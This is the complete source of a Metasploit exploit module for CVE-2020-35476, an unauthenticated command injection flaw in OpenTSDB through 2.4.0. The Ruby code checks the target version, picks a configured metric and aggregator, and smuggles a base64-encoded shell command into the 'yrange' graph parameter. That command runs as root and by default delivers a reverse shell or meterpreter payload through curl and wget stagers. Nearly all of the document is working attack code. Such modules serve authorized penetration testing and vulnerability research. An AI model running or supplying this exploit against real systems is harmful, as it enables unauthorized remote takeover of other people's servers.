OpenTSDB 2.4.0 Command Injection

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::CmdStager  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'OpenTSDB 2.4.0 unauthenticated command injection',        'Description' => %q{          This module exploits an unauthenticated command injection          vulnerability in the yrange parameter in OpenTSDB through          2.4.0 (CVE-2020-35476) in order to achieve unauthenticated          remote code execution as the root user.          The module first attempts to obtain the OpenTSDB version via          the api. If the version is 2.4.0 or lower, the module          performs additional checks to obtain the configured metrics          and aggregators. It then randomly selects one metric and one          aggregator and uses those to instruct the target server to          plot a graph. As part of this request, the yrange parameter is          set to the payload, which will then be executed by the target          if the latter is vulnerable.          This module has been successfully tested against OpenTSDB          version 2.3.0.        },        'License' => MSF_LICENSE,        'Author' => [          'Shai rod', # @nightrang3r - discovery and PoC          'Erik Wynter' # @wyntererik - Metasploit        ],        'References' => [          ['CVE', '2020-35476'],          ['URL', 'https://github.com/OpenTSDB/opentsdb/issues/2051'] # disclosure and PoC        ],        'DefaultOptions' => {          'RPORT' => 4242        },        'Platform' => %w[unix linux],        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],        'CmdStagerFlavor' => %w[bourne curl wget],        'Targets' => [          [            'Automatic (Unix In-Memory)',            {              'Platform' => 'unix',              'Arch' => ARCH_CMD,              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },              'Type' => :unix_memory            }          ],          [            'Automatic (Linux Dropper)',            {              'Platform' => 'linux',              'Arch' => [ARCH_X86, ARCH_X64],              'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },              'Type' => :linux_dropper            }          ]        ],        'Privileged' => true,        'DisclosureDate' => '2020-11-18',        'DefaultTarget' => 1,        'Notes' => {          'Stability' => [ CRASH_SAFE ],          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],          'Reliability' => [ REPEATABLE_SESSION ]        }      )    )    register_options [      OptString.new('TARGETURI', [true, 'The base path to OpenTSDB', '/']),    ]  end  def check    # sanity check to see if the target is likely OpenTSDB    res1 = send_request_cgi({      'method' => 'GET',      'uri' => normalize_uri(target_uri.path)    })    unless res1      return CheckCode::Unknown('Connection failed.')    end    unless res1.code == 200 && res1.get_html_document.xpath('//title').text.include?('OpenTSDB')      return CheckCode::Safe('Target is not an OpenTSDB application.')    end    # get the version via the api    res2 = send_request_cgi({      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, 'api', 'version')    })    unless res2      return CheckCode::Unknown('Connection failed.')    end    unless res2.code == 200 && res2.body.include?('version')      return CheckCode::Detected('Target may be OpenTSDB but the version could not be determined.')    end    begin      parsed_res_body = JSON.parse(res2.body)    rescue JSON::ParserError      return CheckCode::Detected('Could not determine the OpenTSDB version: the HTTP response body did not match the expected JSON format.')    end    unless parsed_res_body.is_a?(Hash) && parsed_res_body.key?('version')      return CheckCode::Detected('Could not determine the OpenTSDB version: the HTTP response body did not match the expected JSON format.')    end    version = parsed_res_body['version']    begin      if Rex::Version.new(version) <= Rex::Version.new('2.4.0')        return CheckCode::Appears("The target is OpenTSDB version #{version}")      else        return CheckCode::Safe("The target is OpenTSDB version #{version}")      end    rescue ArgumentError => e      return CheckCode::Unknown("Failed to obtain a valid OpenTSDB version: #{e}")    end  end  def select_metric    # check if any metrics have been configured. if not, exploitation cannot work    res = send_request_cgi({      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, 'suggest'),      'vars_get' => { 'type' => 'metrics' }    })    unless res      fail_with(Failure::Unknown, 'Connection failed.')    end    unless res.code == 200      fail_with(Failure::UnexpectedReply, "Received unexpected status code #{res.code} when checking the configured metrics")    end    begin      metrics = JSON.parse(res.body)    rescue JSON::ParserError      fail_with(Failure::UnexpectedReply, 'Received unexpected reply when checking the configured metrics: The response body did not contain valid JSON.')    end    unless metrics.is_a?(Array)      fail_with(Failure::UnexpectedReply, 'Received unexpected reply when checking the configured metrics: The response body did not contain a JSON array')    end    if metrics.empty?      fail_with(Failure::NoTarget, 'Failed to identify any configured metrics. This makes exploitation impossible')    end    # select a random metric since any will do    @metric = metrics.sample    print_status("Identified #{metrics.length} configured metrics. Using metric #{@metric}")  end  def select_aggregator    # check the configured aggregators and select one at random    res = send_request_cgi({      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, 'aggregators')    })    unless res      fail_with(Failure::Unknown, 'Connection failed.')    end    unless res.code == 200      fail_with(Failure::UnexpectedReply, "Received unexpected status code #{res.code} when checking the configured aggregators")    end    begin      aggregators = JSON.parse(res.body)    rescue JSON::ParserError      fail_with(Failure::UnexpectedReply, 'Received unexpected reply when checking the configured aggregators: The response body did not contain valid JSON.')    end    unless aggregators.is_a?(Array)      fail_with(Failure::UnexpectedReply, 'Received unexpected reply when checking the configured aggregators: The response body did not contain a JSON array')    end    if aggregators.empty?      fail_with(Failure::NoTarget, 'Failed to identify any configured aggregators. This makes exploitation impossible')    end    # select a random aggregator since any will do    @aggregator = aggregators.sample    print_status("Identified #{aggregators.length} configured aggregators. Using aggregator #{@aggregator}")  end  def execute_command(cmd, _opts = {})    # use base64 to avoid special char escape hell (specifying BadChars did not help)    cmd = "'echo #{Base64.strict_encode64(cmd)} | base64 -d | /bin/sh'"    start_time = rand(20.year.ago..10.year.ago) # this should be a date far enough in the past to make sure we capture all possible data    start_value = start_time.strftime('%Y/%m/%d-%H:%M:%S')    end_time = rand(1.year.since..10.year.since) # this can be a date in the future to make sure we capture all possible data    end_value = end_time.strftime('%Y/%m/%d-%H:%M:%S')    get_vars = {      'start' => start_value,      'end' => end_value,      'm' => "#{@aggregator}:#{@metric}",      'yrange' => "[1:system(#{Rex::Text.uri_encode(cmd)})]",      'wxh' => "#{rand(800..1600)}x#{rand(400..600)}",      'style' => 'linespoint'    }    exploit_uri = '?'    get_vars.each do |key, value|      exploit_uri += "#{key}=#{value}&"    end    exploit_uri += 'json'    # using a raw request because cgi was leading to encoding issues    send_request_raw({      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, 'q' + exploit_uri)    }, 0) # we don't have to wait for a reply here  end  def exploit    select_metric    select_aggregator    if target.arch.first == ARCH_CMD      print_status('Executing the payload')      execute_command(payload.encoded)    else      execute_cmdstager(background: true)    end  endend